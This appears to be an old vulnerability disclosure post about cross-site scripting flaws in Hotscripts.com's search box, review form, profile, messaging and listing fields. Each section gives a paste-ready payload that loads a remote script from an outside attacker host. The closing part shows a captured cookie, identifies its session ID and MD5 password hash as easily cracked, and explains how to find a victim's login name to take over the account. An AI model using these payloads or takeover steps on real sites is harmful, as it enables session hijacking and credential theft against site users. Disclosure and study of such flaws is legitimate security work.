Hotscripts.com - XSS with cookie disclosure
Hotscripts.com
Homepage:
http://www.hotscripts.com
Effected files:
search input box
adding a review
Editing your profile
sending a author a message.
Creating a new listing
----------------------------------------
XSS vuln with cookie disclosure in search input box:
For a PoC try putting: <"<"<"<"<script
src=http://www.youfucktard.com/xss.js><"<"<"<"<"
Screenshot:
http://www.youfucktard.com/xsp/hotscripts1.jpg
-------------------------------
Same vuln as above,this time when writing a review:
http://www.hotscripts.com/account/index.html?section=reviews&type=addnew&listing_id=60536<"<"<"<"<script%20src=http://www.youfucktard.com/xss.js><"<"<"<"<"
Screenshot:
http://www.youfucktard.com/xsp/hotscripts2.jpg
-------------------------------------------
Editing your profile. XSS vuln in the "Website" input box.
For PoC try putting:
">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'
Screenshot:
http://www.youfucktard.com/xsp/hotscripts3.jpg
http://www.youfucktard.com/xsp/hotscripts4.jpg
----------------------
XSS via Sending a author a message:
Just put in the input boxes:
">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'
------------------------------------------------------------
XSS via creating a new listing:
Just put the code below in any input box when submitting a new listing:
">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'
-----------------------------------------------------------
Nowyou're wondering whats inthe cookie you'll see above. Well lets look:
The cookie you see:
This is remote text via xss.js located at youfucktard.com
hotscripts=69.122.33.130.75421150139641596;
__utma=127114772.1877428379.1150139697.1150139697.1150139862.2;__utmb=127114772;__utmz=127114772.1150139697.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
__utmc=127114772; sp_check=91da4589b012c2fe1ceac1fb2363dbc6;
PHPSESSID=19beec1451a94054c5c52070eb962de5
Lets break it down:
hotscripts=69.122.33.130.75421150139641596 (First four numbers is your IP #.
No idea what last string is. )
_utma= (No idea)
_utmb= (No idea)
_utmz= (No idea)
utmccn= (referral)
|utmcsr=(refferal)
utmcmd=(No Idea)
__utmc= (No idea)
sp_check= (this is a md5 hash of our password)
PHPSESSID= (Our php session on the site)
We now have an ip #, as well as a md5 hash of our pw,which can be easily
cracked. All we need now is the authors
name. To find out the login name of a user, just view one of the listings and
at the bottom right hit "Contact Author".
Write some random msg, then you'll be taken to your inbox. In there is the
login name.
Screenshot:
http://www.youfucktard.com/xsp/hotscripts5.jpg